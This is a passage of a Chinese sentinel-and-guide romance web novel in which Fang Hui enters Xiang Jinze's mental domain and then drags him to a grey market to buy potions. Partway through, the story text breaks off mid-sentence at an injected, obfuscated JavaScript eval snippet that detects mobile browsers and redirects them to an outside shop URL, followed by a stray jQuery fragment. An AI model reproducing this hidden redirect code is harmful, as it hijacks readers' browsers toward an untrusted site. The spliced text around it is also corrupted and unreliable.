门外吵吵闹闹地吸引两人注意,方洄趁项近泽倾身往外看去,泥鳅一样再次侵入他的精神域,项近泽发出万般无奈的叹息。
“我已经好了。”他提醒她,却也知她心不在此。
方洄放出银蜘蛛让她在雪原上撒欢似的乱跑,只为引出那只与项近泽性格全然不同的黑狼。
狼嚎从悬浮岛上传出,那是一种雀跃被强行压抑的叫声,幽怨婉转,低回沉闷,银蜘蛛爬上几棵雪松好奇张望,只看见黑狼趴在悬浮岛边缘探出的半个脑袋。
悬浮岛距离地面太高,银蜘蛛的丝线总是差那一点碰到它,除非精神图景的所有人愿意,否则她们永远都上不去。
但银蜘蛛和方洄为达目的绝不罢休,甚至有时为了小芝麻可以丢下西瓜。
方洄将银蜘蛛的蛛丝捆在身上,挂在外头的随手捋了下牢牢抓住,紧接着银蜘蛛又吐出一条绑上方洄,放风筝似的将她甩了出去。
方洄飞在半空,甩出手里的蛛丝绳,高声大叫:“黑狼!”
那只叛徒精神体聪明灵敏,一口咬住丢来的银色绳子,瞬间,天地之间雪山拔地而起,暴雪交加,黑狼纵身一跃接住从空中摔落的方洄。雪山脚下,方洄捧着黑狼的脸一顿搓圆捏扁,发泄般地揉。
“下次你要再努力点哦。”她对毛茸茸的动物拥有无限的好脾气。
对人类却是毫无耐心,她一退出精神域,便整个人逼近他。
门外,落在团队最后面的一位资深记者偷偷朝里瞄了眼,只见两人轻偎低傍、交颈相拥,缠绵爱意溢出房间,看得她红了脸,猛然收回视线。
“老师,你很热吗?”实习记者递给她一把小扇子,她停下快速扇动的手接过,低声道谢。
好磕,好想再看看,但是这太不礼貌了!太好看了!啊!好折磨!
而对于项近泽来说,这确实也是一种折磨。方洄附身下来,将全身重量集中在双手按压项近泽的肩,她在他耳边低语:“你知道你欠我的。”
说完,连带着几日对他的不满,一口咬在他颈侧,迟迟不松口。
许是没有痛觉的人,拥有十分敏感的触觉,他清楚感受到牙齿贴上皮肤后收紧,尖尖的虎牙比其它牙齿陷得深,他不知道她有没有咬破,只知道自己对这种感觉有贪念。
他想久一点,只需要一点,就这一次,他努力说服自己,可长久来的道德感像他的精神屏障一样把着关,不让任何规则之外的想法搅乱他的思绪。
清醒着坠落山崖无疑是绝望的,悬崖峭壁没有一根救命绳索,他眼睁睁看着自己离地面越来越近,直至头破血流,全身血液流干,他才终于闭上眼不甘的死去。
这一切都不会有结果,项近泽心里清楚,方洄很讨厌他,甚至想合情合理地杀掉他,他都知道,所以……
不能,不该。
推她,怕她疼,不敢用力。
叫她,怕齐再发现。
项近泽高举双手将自己蜷到躺椅另一侧,迅速回身起立,他丢下一句“谢谢疏导”,从记者团身后离开,他感受到一道锐利的视线,下意识摸上脖子直到回到宿舍才放下手。
他有意避开镜子,仿佛看不见就能当作一切没发生,这样他竖立起的道德高墙才不会谴责他。
他不得不翻找出一件高领,依旧是纯黑贴身作战服,他抚平衣领,扭了下脖子,不太舒适的皱眉,日常时间穿作战服让他感觉很奇怪。
光脑屏幕亮起,是方洄发来的消息:【我要外出。】
和方洄外出相当于作战了,他想,这让他刚才因不合时宜地穿作战服升起的违和感迅速消失了。
方洄早早在白塔大厅等着项近泽,她准备去几个远离白塔,且处于灰色地带的区域买药剂,这些地方有一个通俗的名字——灰市。
与所谓黑市不同,灰市里卖的东西都是踩着合格线的,不至于见不得人,只不过越是临近合格线的东西,效果越强劲、副作用越离谱,通常是以命换能力,属于不被广泛大众所接受的范围。
早上齐也带她去找张亦时,收到了不算好的消息,不过倒也在意料之中。
她们推门进去就见到了被这支药剂弄疯了的张亦。
她盘腿弓腰坐在桌前埋头用力书写,手臂四周丢着几团搓成球的纸,桌子上堆满各式各样的垃圾,像是有人在她桌上踩了一圈。
张亦的麻花辫勾出弧度或是掉出原本该塞进的队伍,黑眼圈坠在眼下,嘴唇干裂起皮,整个人看上去大脑十分活跃,但外表异常萎靡。
“谁啊?”方洄再一次没认出她。
“呀!”高度集中的人被一句平常话吓到,看清来人后张亦迅速放下腿,动作太快,屁股下的椅子滑轮转了下,还好齐也及时扶住,否则她就直接坐在地上了。
她尴尬地顺了顺头发,抿唇后朝桌边挪了下,试图挡住桌上的狼藉。
“报告结果出来了,但是还有些问题,我本来想得出结果再给你们看的。”
这支药剂用料大有不同,连高材生都无法从报告结果中判断未知成分的相关信息。
“这种成分从未投入到抑制剂和狂化剂研发中过,就算是用了最新的材料分析器也查不出来,也许需要更多配方样本……”
张亦看出方洄眼里的失望,解释的话说到一半立刻停下,信誓旦旦地举手发誓:“再给我一点时间,我一定会拿出最终的材料报告。”
“好,辛苦你了,有情况就来找我。”
齐也带着方洄离开研究室,再待久点,她怕张亦会发现方洄表面看似失望,实则是压抑至深的嫌弃。
“找个时间,你去外面搜集一些不常见的药剂,给她提供星际官方里没有的样本,”齐也停顿了下,她不怀疑方洄的实力,因此不担心她的安全,但她转念一想,多少有点担心别人的安全,“那些地方治安不太好,你带着项近泽去吧。”
“不带。”她想也没想就拒绝。
“你不带也没用。”强大的哨兵不是她想甩开就能甩开的,再说她之前那一通折腾,没有别的心思她才不信,“你带着他上街露露面,既然摆脱不了,那就把他拉下水。”
这个理由完美得没有破绽,方洄当下就同意了,不过外出买药剂这种事想要一个合理的理由很难,特别是对于指挥部特聘哨兵、向导来说,这里的每个人都有自己的专属药剂,像张亦这样的人就是被叫来干这个的。
士兵们不可能放着高级研究员为自己量身定制的药剂不吃,转而去灰市上买,更何况这个人还是方洄。
她偶然听到坊间谣传,灰市有一种药剂叫回能剂,在已配对的士兵之间很流行,专门用于特殊之夜后恢复体能,很暧昧又很精巧的东西,刚好适合她偷偷摸摸去买。
当然,如果想要把项近泽也拽进来,买这种东西就不能使故事的主角是方洄和“齐再”。
她惯会在这种歪门邪道上举一反三,脑子一转就想到了好几种拖累项近
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17793298|207071||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
泽的办法,特别是当她知道辉明新闻要来采访。
本来她想找借口把项近泽骗来疏导室,却没想到机缘巧合之下他自己送上门来了。她故意不关门,也是故意说那些含糊不清的话,为的就是造成一种两人关系不浅的假象。
第二指挥主星球一共有两个灰市,她先去了南灰市,一路上项近泽跟她保持着很远的距离,这一点都达不到方洄想要的效果。
“你离这么远,怎么保护我的安全?”
她小跑靠近他,项近泽先是迈出一步却又突然缩回去,紧接着连连后退,不管方洄怎么前进,项近泽总和她保持五米的距离。
终于,方洄原地停下,项近泽松下来的气刚呼到一半,在看见方洄不怀好意地一笑后,立刻全身紧绷,只见她双手放在嘴边大声喊道:“项近泽!快过来!”
这个名字就像突然绽放的烟花,引得路人纷纷侧目而视。
一个正在付钱的顾客光脑才举到半路就闻声望去,脖子伸出门框还不够,单脚撑着又将半个身子探出去,店老板更是不着急收钱,把商品往柜上一丢,柜台挡着看不见,一个翻身就爬出柜台,和客人一起扒着门八卦。
“项近泽,是早上直播里的那个项近泽吗?”
“对,就是他!那姑娘是方洄啊。”
“她比直播里要好看,正统士兵来灰市干什么?”
“真奇怪……”
“哎,你们说,他俩那个关系来灰市……是不是要买见不得人的……”一个店员蹲在门边接上话。
“你工作时间怎么不好好工作!我说你……”店长回头一看,脚边蹲着的、身边站着的,里头原本在看货的客人都涌了出来,小小的一扇门边挤满了八卦群众。
一个暴躁顾客眼神锁在街上两人身上,嫌店长话多:“哪那么多废话,再多吵吵,老娘就把你打晕过去……”
“他动了动了!”
正准备和暴躁顾客吵一架的店长猛然回身朝外面看去,只见项近泽面无表情地朝方洄走去,只不过那脚步小得实在不像训练有素的哨兵,他低头对方洄说了些什么,惹得她笑得更开心。
顾客拿出光脑对着她们拍了一张照,奇怪问道:“要是真为了见不得人的东西,方洄怎么不把自己遮一遮?”
另一个说:“你不是粉丝吧?小洄那脑回路可不是一般人有的,她疯起来没人看得懂。”
“啊?”她想不明白挠了挠头,“那你们粉丝喜欢一个……疯子?”
“也不是这个意思,她不会无缘无故发疯,其它魅力更大嘛,人哪能没有个缺点。”这位粉丝头都不抬,说着心里话的同时,兼顾方洄和项近泽的一举一动,眼睛像摄像机大光圈一样锁定,“过来了!”
一群人如被风吹过的落叶飞速四散开,看货的看货,擦地的擦地。
方洄一进来就看见店员拿了块干布趴着擦地,原本光亮洁白的地被擦了一圈又一圈。
她问:“你们平时都直接拿布擦地板吗?”
“对、对,手擦更干净。”
虽然方洄很久没做过家务,但她以前跟方来舟生活时,还是会做的,她好心提醒道:“也许打湿了会擦得更干净。”
店员尴尬地笑了一声,立刻起身朝房间里跑去,店长暗暗骂了句“笨死了”,搓着手来问方洄需要什么。
方洄环顾一圈,声音清脆,一开口就让众人发怔。
“各个种类的药剂,我都要两支。”